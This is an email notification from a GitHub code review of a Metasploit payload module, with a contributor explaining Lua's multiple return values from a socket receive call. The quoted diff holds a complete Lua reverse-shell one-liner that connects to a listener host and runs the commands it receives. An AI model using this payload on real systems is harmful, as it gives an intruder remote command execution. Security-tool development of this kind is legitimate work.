@wvu,
The call to receive returns an array I believe, so it's mass assignment as in:
local r, x = t:receive()
or more explicitly:
local r
local x
r, x = t:receive()
where r = t:receive()[0] and x = t:receive()[1] obviously

r is the data and x is the error.  I think he's ignoring the error.  It only has a value on error, i.e. not on success I don't think.  On error, r will be nil.
Here's a decent reference:  http://w3.impa.br/~diego/software/luasocket/tcp.html#receive
On a side note, '*a': reads from the socket until the connection is closed... I did not know that.

On Oct 18, 2013, at 3:23 PM, wvu-r7 <notifications@github.com> wrote:

> In modules/payloads/singles/cmd/windows/reverse_lua.rb:
> 
> > +      }
> > +    ))
> > +  end
> > +
> > +  #
> > +  # Constructs the payload
> > +  #
> > +  def generate
> > +    return super + command_string
> > +  end
> > +
> > +  #
> > +  # Returns the command string to use for execution
> > +  #
> > +  def command_string
> > +    "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
> What is x?
> 
> —
> Reply to this email directly or view it on GitHub.
>